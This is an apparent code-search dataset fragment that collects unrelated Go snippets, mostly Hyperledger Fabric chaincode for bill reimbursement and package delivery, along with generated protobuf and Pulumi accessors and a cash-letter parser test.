timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n \n //check for existence of the bill\n oldvalue, err := stub.GetState(uuid)\n if err != nil {\n return nil, fmt.Errorf(\"create operation failed. Error accessing state(check the existence of bill): %s\", err)\n }\n if oldvalue != nil {\n return nil, fmt.Errorf(\"existed bill!\")\n } \n\n key := uuid\n value := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"value is %s\", value)\n\n err = stub.PutState(key, []byte(value))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"create operation failed. Error updating state: %s\", err)\n }\n //store the metadata\n key = uuid + sp + \"md\"\n value = metadata\n fmt.Printf(\"value is %s\", value)\n\n err = stub.PutState(key, []byte(value))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"store the metadat operation failed. Error updating state: %s\", err)\n }\n\n //store the from and to \n key = fromid + sp + timestamp + sp + uuid\n err = stub.PutState(key, []byte(timestamp))\n if err != nil {\n fmt.Printf(\"Error putting state for fromid : %s\", err)\n }\n key = toid + sp + timestamp + sp + uuid\n err = stub.PutState(key, []byte(timestamp))\n if err != nil {\n fmt.Printf(\"Error putting state for toid : %s\", err)\n }\n return nil,nil\n\n case \"transfer\":\n if len(args) < 4{\n return nil, errors.New(\"transfer operation must include at last there arguments, a uuid , a owner , a toid and timestamp\")\n }\n //get the args\n key := args[0]\n uuid := key\n _owner := args[1]\n _toid := args[2]\n timestamp := args[3]\n\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n history := listValue[2]\n owner := listValue[3]\n status := listValue[4]\n createtm := listValue[5]\n submittm := listValue[6]\n confirmtm := listValue[7]\n \n //ToDo: some check for the owner?\n // if the person don't own it, he can transfer this bill\n if _owner != owner {\n return []byte(\"don't have the right to transfer the bill\"), errors.New(\"don't have the right to transfer\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n //if the owner is toid, it cann't be transfer any more\n if owner == toid {\n return []byte(\"cann't transfer bill now\"), errors.New(\"cann't transfer this bill now\") \n }\n if status == \"2\" {\n return []byte(\"this bill has been submited adn you can't transfer it any more!\"), errors.New(\"this bill has been submited adn you can't transfer it any more!\")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"0\"{\n status = \"1\"\n }\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n history = history + \",\" + _toid\n owner = _toid\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"transfer operation failed. Error updating state: %s\", err)\n }\n //ToDo: some check for the state of puting \n // add two sp have no reasons:)\n key = owner + sp + sp + uuid\n err = stub.PutState(key, []byte(timestamp))\n if err != nil {\n fmt.Printf(\"Error putting state for owner : %s\", err)\n }\n return nil, nil\n\n case \"submit\":\n if len(args) < 4{\n return nil, errors.New(\"submit operation must include at last three arguments, a uuid, a owner , timestamp and data for reimbursement\")\n }\n //get the args\n key := args[0]\n uuid := key \n _owner := args[1]\n timestamp := args[2]\n data := args[3]\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n history := listValue[2]\n owner := listValue[3]\n status := listValue[4]\n createtm := listValue[5]\n //update the submittm\n submittm := timestamp\n confirmtm := listValue[7]\n\n // if the person don't own it, he can transfer this bill\n if _owner != owner {\n return []byte(\"don't have the right to submit the bill\"), errors.New(\"don't have the right to submit\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n if status == \"2\" {\n return []byte(\"this bill has been submited adn you can't transfer it any more!\"), errors.New(\"this bill has been submited adn you can't transfer it any more!\")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"1\" || status == \"0\" {\n status = \"2\"\n }\n\n //update the uuid info\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"submit operation failed. Error updating state: %s\", err)\n }\n\n //store the info of reimbursement\n key = uuid + sp + \"bx\"\n fmt.Printf(\"the info of reimbursement is %s\", data)\n err = stub.PutState(key, []byte(data))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"submit operation failed. Error updating state: %s\", err)\n }\n return nil, nil\n\n case \"confirm\":\n if len(args) < 3 {\n return nil, errors.New(\"confirm operation must include at last there arguments, a uuid , a toid and timestamp\")\n }\n //get the args\n key := args[0]\n _toid := args[1]\n timestamp := args[2]\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n //update the history\n history := listValue[2] + \",\" + toid\n //update the owner\n owner := toid\n status := listValue[4]\n createtm := listValue[5]\n submittm := listValue[6]\n //update the confirmtm\n confirmtm := timestamp\n\n // if the person is not the toid\n if _toid != toid {\n return []byte(\"don't have the right to confirm the bill\"), errors.New(\"don't have the right to confirm\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n if status == \"1\" || status == \"0\" {\n return []byte(\"this bill has not been submited \"), errors.New(\"this bill has not been submited\")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"2\" {\n status = \"3\"\n }\n\n //update the uuid info\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"confirm operation failed. Error updating state: %s\", err)\n }\n return nil, nil\n\n case \"reject\":\n if len(args) < 4 {\n return nil, errors.New(\"reject operation must include at last four arguments, a uuid , a toid , a reason and timestamp\")\n }\n //get the args\n key := args[0]\n uuid := key \n _toid := args[1]\n reason := args[2]\n timestamp := args[3]\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n history := listValue[2]\n owner := listValue[3]\n status := listValue[4]\n createtm := listValue[5]\n submittm := listValue[6]\n confirmtm := timestamp\n\n // if the person is not the toid\n if _toid != toid {\n return []byte(\"don't have the right to reject the bill\"), errors.New(\"don't have the right to reject\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n if status == \"1\" || status == \"0\" {\n return []byte(\"this bill has not been submited \"), errors.New(\"this bill has not been submited \")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"2\" {\n status = \"1\"\n }\n\n //update the uuid info\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"reject operation failed. Error updating state: %s\", err)\n }\n\n //update the reason for unconfirmtion\n key = uuid + sp + \"bx\"\n err = stub.PutState(key, []byte(reason))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"reject operation failed. Error updating state: %s\", err)\n }\n return nil, nil\n\n default:\n return nil, errors.New(\"Unsupported operation\")\n }\n}","func (*OracleSpecResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_trading_proto_rawDescGZIP(), []int{145}\n}","func (_BaseContent *BaseContentCaller) StatusCodeDescription(opts *bind.CallOpts, status_code *big.Int) ([32]byte, error) {\n\tvar out []interface{}\n\terr := _BaseContent.contract.Call(opts, &out, \"statusCodeDescription\", status_code)\n\n\tif err != nil {\n\t\treturn *new([32]byte), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new([32]byte)).(*[32]byte)\n\n\treturn out0, err\n\n}","func (*CodeRequest) Descriptor() ([]byte, []int) {\n\treturn file_helloworld_helloworld_proto_rawDescGZIP(), []int{1}\n}","func (rv *ReturnValue) Inspect() string { return rv.Value.Inspect() }","func (o *UpdateOrganizationInvitationOK) Code() int {\n\treturn 200\n}","func (*MarkedString_CodeBlock) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{113, 0}\n}","func (*PrepareRenameResponse_Result) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{44, 0}\n}","func (c Code) String() string {\n\tswitch c {\n\tcase Resident:\n\t\treturn \"RESIDENT\"\n\tcase Nonresident:\n\t\treturn \"NONRESIDENT\"\n\tdefault:\n\t\treturn \"UNKNOWN\"\n\t}\n}","func (t *SimpleChaincode) deliverpkg(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nfmt.Println(\"running deliverpkg()\")\nvar key , jsonResp string\nvar err error\n\nif len(args) != 2 {\n\tjsonResp = \" Error : Incorrect number of arguments. Expecting 2 : PkgId and Provider \"\n \treturn nil, errors.New(jsonResp)\n }\n\n key = args[0]\n var packageinfo PackageInfo\n\n valAsbytes, err := stub.GetState(key)\n\n if err != nil {\n jsonResp = \"Error : Failed to get state for \" + key\n return nil, errors.New(jsonResp)\n }\n\n err = json.Unmarshal(valAsbytes, &packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n// validate pkd exist or not by checking temprature\n if packageinfo.PkgId != key{\n jsonResp = \"Error: Invalid PackageId Passed \"\n return nil, errors.New(jsonResp)\n }\n\n // check wheather the pkg temprature is in acceptable range and package in in valid status\n if packageinfo.PkgStatus == \"Pkg_Damaged\" { // Pkg_Damaged\n\t jsonResp = \" Error: Temprature thershold crossed - Package Damaged\"\n return nil, errors.New(jsonResp)\n }\n\n\tif packageinfo.PkgStatus == \"Pkg_Delivered\" { // Pkg_Damaged\n\t jsonResp = \" Error: Package Already Delivered\"\n\t return nil, errors.New(jsonResp)\n\t }\n\n // check wheather the pkg Provider is same as input value\nif packageinfo.Provider != args[1] {\n\t jsonResp = \" Error :Wrong Pkg Provider passrd - Not authorized to deliver this Package\"\n\t return nil, errors.New(jsonResp)\n\t }\n\n// packageinfo.Owner = args[1]\n packageinfo.PkgStatus = \"Pkg_Delivered\"\n\n bytes, err := json.Marshal(&packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n err = stub.PutState(key, bytes)\n if err != nil {\n return nil, err\n }\n\n return nil, nil\n}","func rcExString(p *TCompiler, code *TCode) (*value.Value, error) {\n\tp.regSet(code.A, p.runExString(p.Consts.Get(code.B).ToString()))\n\tp.moveNext()\n\treturn nil, nil\n}","func (s FulfillmentUpdateResponseSpecification) GoString() string {\n\treturn s.String()\n}","func TestParseReturnDetailAddendumC(t *testing.T) {\n\tvar line = \"3411A 00340 RD Addendum C \"\n\tr := NewReader(strings.NewReader(line))\n\tr.line = line\n\tclh := mockCashLetterHeader()\n\tr.addCurrentCashLetter(NewCashLetter(clh))\n\tbh := mockBundleHeader()\n\trb := NewBundle(bh)\n\tr.currentCashLetter.AddBundle(rb)\n\tr.addCurrentBundle(rb)\n\tcd := mockReturnDetail()\n\tr.currentCashLetter.currentBundle.AddReturnDetail(cd)\n\n\trequire.NoError(t, r.parseReturnDetailAddendumC())\n\trecord := r.currentCashLetter.currentBundle.GetReturns()[0].ReturnDetailAddendumC[0]\n\trequire.Equal(t, \"34\", record.recordType)\n\trequire.Equal(t, \"1\", record.ImageReferenceKeyIndicatorField())\n\trequire.Equal(t, \"1A \", record.MicrofilmArchiveSequenceNumberField())\n\trequire.Equal(t, \"0034\", record.LengthImageReferenceKeyField())\n\trequire.Equal(t, \"0 \", record.ImageReferenceKeyField())\n\trequire.Equal(t, \"RD Addendum C \", record.DescriptionField())\n\trequire.Equal(t, \" \", record.UserFieldField())\n\trequire.Equal(t, \" \", record.reservedField())\n}","func (o RestrictionResponseOutput) ReasonCode() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RestrictionResponse) *string { return v.ReasonCode }).(pulumi.StringPtrOutput)\n}"],"string":"[\n \"func newReturnCode(kind ReturnCodeKind, code int, desc string, info string) *ReturnCode {\\n\\treturn &ReturnCode{kind, code, desc, info}\\n}\",\n \"func update(stub shim.ChaincodeStubInterface, args []string) pb.Response {\\n\\nfmt.Println(\\\"************************ UPDATE ************************* \\\")\\n\\t\\n\\t\\tvar key string\\n\\n\\t\\t\\t\\tmystr :=mystruct{}\\n\\t\\t\\t\\tmystr.ModelNumber = args[0]\\n\\t\\t\\t\\tmystr.SerialNumber = args[1]\\n\\t\\t\\t\\tmystr.CP = args[2]\\n\\t\\t\\t\\tmystr.NP = args[3]\\n\\t\\t\\t\\tmystr.CFlag = args[4]\\n\\t\\t\\t\\tmystr.OrderNo = args[5]\\n\\t\\t\\t\\tmystr.M_R_D = args[6]\\n\\t\\t\\t\\tmystr.Location = args[7]\\n\\t\\t\\t\\tmystr.Date_time = args[8]\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\tjsonAsBytes, _ := json.Marshal(mystr)\\n\\t\\t\\t\\t\\n\\t\\tkey = args[0] + \\\"-\\\" +args[1]\\n\\t\\t\\n\\t\\tExists, err := stub.GetState(key)\\n\\t\\t\\n\\t\\t\\n\\tif err != nil {\\n\\t\\tjsonResp := \\\"{\\\\\\\"Error\\\\\\\":\\\\\\\"Failed to process for \\\" + key + \\\"\\\\\\\"}\\\"\\n\\t\\tfmt.Println(\\\"Error after get state\\\", err)\\n\\t\\treturn shim.Error(jsonResp)\\n\\t}\\n\\n\\tif Exists == nil {\\n\\tjsonResp1 := \\\"{\\\\\\\"Message\\\\\\\":\\\\\\\"Counter-fiet product.\\\\\\\"}\\\"\\n\\tfmt.Println(\\\"Counter-fiet product.\\\")\\n\\tjsonAsBytes1, _ := json.Marshal(jsonResp1)\\n\\t\\treturn shim.Success(jsonAsBytes1);\\n\\t\\t\\n\\t} else {\\n\\t\\n\\t//Update as the value is found\\n\\tfmt.Println(\\\"Model-Serial match found\\\")\\n\\t\\t\\t\\tfmt.Println(mystr)\\n\\t\\t\\t\\tfmt.Println(jsonAsBytes)\\n\\t\\t\\t\\tfmt.Println(string(jsonAsBytes))\\n\\n\\t\\t\\t\\terr := stub.PutState(key, jsonAsBytes)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Error in putState\\\",err)\\n\\t\\t\\t\\treturn shim.Error(err.Error())\\n\\t\\t}\\n\\t\\tjsonResp2 := \\\"{\\\\\\\"Message\\\\\\\":\\\\\\\"Successfully Updated.\\\\\\\"}\\\"\\n\\t\\tjsonAsBytes, _ := json.Marshal(jsonResp2)\\n\\t\\tfmt.Println(\\\"All Fine\\\")\\n\\t\\treturn shim.Success(jsonAsBytes);\\n\\t}\\n\\t\\t\\t\\n}\",\n \"func (cc *ChaincodeEnv) getChaincodeSpec(args [][]byte) *pb.ChaincodeSpec {\\r\\n\\tspec := &pb.ChaincodeSpec{}\\r\\n\\tfuncname := cc.Function\\r\\n\\tinput := &pb.ChaincodeInput{}\\r\\n\\tinput.Args = append(input.Args, []byte(funcname))\\r\\n\\r\\n\\tfor _, arg := range args {\\r\\n\\t\\tinput.Args = append(input.Args, arg)\\r\\n\\t}\\r\\n\\r\\n\\tlogger.Debug(\\\"ChaincodeSpec input :\\\", input, \\\" funcname:\\\", funcname)\\r\\n\\tvar golang = pb.ChaincodeSpec_Type_name[1]\\r\\n\\tspec = &pb.ChaincodeSpec{\\r\\n\\t\\tType: pb.ChaincodeSpec_Type(pb.ChaincodeSpec_Type_value[golang]),\\r\\n\\t\\t// ChaincodeId: &pb.ChaincodeID{Name: cc.ChaincodeName, Version: cc.ChaincodeVersion},\\r\\n\\t\\tChaincodeId: &pb.ChaincodeID{Name: cc.ChaincodeName},\\r\\n\\t\\tInput: input,\\r\\n\\t}\\r\\n\\treturn spec\\r\\n}\",\n \"func Test_CreateStmUpdateProductByCode(t *testing.T) {\\n\\tresult := createStmUpdateByCode(&aldoutil.Product{}, \\\"\\\")\\n\\t// log.Println(result)\\n\\tif result == \\\"\\\" {\\n\\t\\tt.Errorf(\\\"Received a empty string, want some string\\\")\\n\\t}\\n}\",\n \"func (c *ReturnCode) specf(format string, v ...interface{}) *ReturnCode {\\n\\ts := fmt.Sprintf(format, v...)\\n\\treturn c.spec(s)\\n}\",\n \"func (o InnerErrorResponseOutput) Code() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v InnerErrorResponse) *string { return v.Code }).(pulumi.StringPtrOutput)\\n}\",\n \"func (t *IPDCChaincode) invoke_insert_update(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\\r\\n\\r\\n\\tfmt.Println(\\\"***********Entering invoke_insert_update***********\\\")\\r\\n\\r\\n\\tvar success string\\r\\n\\r\\n\\tif len(args) < 1 {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\t}\\r\\n\\r\\n\\tsuccess = \\\"\\\"\\r\\n\\r\\n\\tvar record_specification_input map[string]interface{}\\r\\n\\r\\n\\tvar record_specification = make(map[string]interface{})\\r\\n\\r\\n\\tvar err error\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(args[0]), &record_specification_input)\\r\\n\\t// fmt.Println(\\\"************************************************\\\")\\r\\n\\t// fmt.Println(args[0])\\r\\n\\t// fmt.Println(record_specification_input)\\r\\n\\t// fmt.Println(err)\\r\\n\\t// fmt.Println(\\\"************************************************\\\")\\r\\n\\r\\n\\tif err != nil {\\r\\n\\t\\terr = json.Unmarshal([]byte(args[1]), &record_specification_input)\\r\\n\\t\\tfmt.Println(\\\"------------------------------------------------\\\")\\r\\n\\t\\tfmt.Println(args[0])\\r\\n\\t\\tfmt.Println(record_specification_input)\\r\\n\\t\\tfmt.Println(err)\\r\\n\\t\\tfmt.Println(\\\"------------------------------------------------\\\")\\r\\n\\t\\tif err != nil {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error in reading input record\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error in reading input record\\\")\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\terr = t.StringValidation(record_specification_input, map_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tvar check int\\r\\n\\r\\n\\tcheck, err = t.Mandatoryfieldscheck(record_specification_input, map_specification)\\r\\n\\r\\n\\tif check == 1 {\\r\\n\\r\\n\\t\\tfmt.Println(err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tsuccess = err.Error()\\r\\n\\t}\\r\\n\\r\\n\\tcheck, err = t.Datefieldscheck(record_specification_input, map_specification)\\r\\n\\r\\n\\tif check == 1 {\\r\\n\\r\\n\\t\\tfmt.Println(err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tcheck, err = t.Amountfieldscheck(record_specification_input, map_specification)\\r\\n\\r\\n\\tif check == 1 {\\r\\n\\r\\n\\t\\tfmt.Println(err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err.Error())\\r\\n\\t}\\r\\n\\r\\n\\trecord_specification, err = t.Mapinputfieldstotarget(record_specification_input, map_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in decoding and/or mapping record: \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in decoding and/or mapping record: \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tadditional_json, ok := map_specification[\\\"additional_json\\\"]\\r\\n\\r\\n\\tif ok {\\r\\n\\r\\n\\t\\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\\r\\n\\r\\n\\t\\tif ok1 {\\r\\n\\r\\n\\t\\t\\tfor spec, _ := range additional_json_data {\\r\\n\\t\\t\\t\\tfmt.Println(spec)\\r\\n\\t\\t\\t\\trecord_specification[spec] = additional_json_data[spec]\\r\\n\\t\\t\\t}\\r\\n\\t\\t} else {\\r\\n\\t\\t\\tfmt.Println(\\\"Invalid additional JSON fields in specification\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Invalid additional JSON fields in specification\\\")\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tfmt.Println(\\\"&&&&&&& New Record &&&&&&&& \\\", record_specification)\\r\\n\\r\\n\\tvar default_fields interface{}\\r\\n\\r\\n\\tvar default_fields_data map[string]interface{}\\r\\n\\r\\n\\tvar ok_default bool\\r\\n\\r\\n\\tdefault_fields, ok = map_specification[\\\"default_fields\\\"]\\r\\n\\r\\n\\tif ok {\\r\\n\\r\\n\\t\\tdefault_fields_data, ok_default = default_fields.(map[string]interface{})\\r\\n\\r\\n\\t\\tif !ok_default {\\r\\n\\r\\n\\t\\t\\tdefault_fields_data = make(map[string]interface{})\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tfmt.Println(\\\"&&&&&&& Default Fields &&&&&&&& \\\", default_fields_data)\\r\\n\\r\\n\\tvar keys_map interface{}\\r\\n\\r\\n\\tvar specs map[string]interface{}\\r\\n\\r\\n\\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification)\\r\\n\\r\\n\\tif error_keys_map != nil {\\r\\n\\r\\n\\t\\tfmt.Println(error_keys_map.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(error_keys_map.Error())\\r\\n\\t}\\r\\n\\r\\n\\tspecs, ok = keys_map.(map[string]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Invalid keys_map specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Invalid keys_map specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tif specs[\\\"primary_key\\\"] == nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: There is no primary key specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error : There is no primary key specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar pk_spec []interface{}\\r\\n\\r\\n\\tpk_spec, ok = specs[\\\"primary_key\\\"].([]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in Primary key specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in Primary key specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tkey, err_key := t.createInterfacePrimaryKey(record_specification, pk_spec)\\r\\n\\r\\n\\tif err_key != nil {\\r\\n\\r\\n\\t\\tfmt.Println(err_key.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err_key.Error())\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar valAsBytes []byte\\r\\n\\r\\n\\tvalAsBytes, err = stub.GetState(key)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error Failed to get state for primary key: \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Failed to get state for primary key: \\\" + err.Error())\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar record_specification_old = make(map[string]interface{})\\r\\n\\r\\n\\tif valAsBytes != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Record is already present in blockchain for key \\\" + key)\\r\\n\\r\\n\\t\\terr = json.Unmarshal([]byte(valAsBytes), &record_specification_old)\\r\\n\\r\\n\\t\\tif err != nil {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error in format of blockchain record\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error in format of blockchain record\\\")\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\terr_del := t.delete_composite_keys(stub, specs, record_specification_old, key)\\r\\n\\r\\n\\t\\tif err_del != nil {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error in deleting composite keys\\\" + err_del.Error())\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error in deleting composite keys\\\" + err_del.Error())\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tfmt.Println(\\\"&&&&&&& Old Record Record &&&&&&&& \\\", record_specification_old)\\r\\n\\r\\n\\t\\tfmt.Println(\\\"&&&&&&& New Record Record again &&&&&&&& \\\", record_specification)\\r\\n\\r\\n\\t\\tfor spec, _ := range record_specification {\\r\\n\\r\\n\\t\\t\\t//if default_fields_data[spec]==nil {\\r\\n\\r\\n\\t\\t\\trecord_specification_old[spec] = record_specification[spec] // Add all the new record fields to the older record\\r\\n\\t\\t\\t//}\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tfor spec, _ := range default_fields_data {\\r\\n\\r\\n\\t\\t\\tif record_specification_old[spec] == nil {\\r\\n\\r\\n\\t\\t\\t\\trecord_specification_old[spec] = 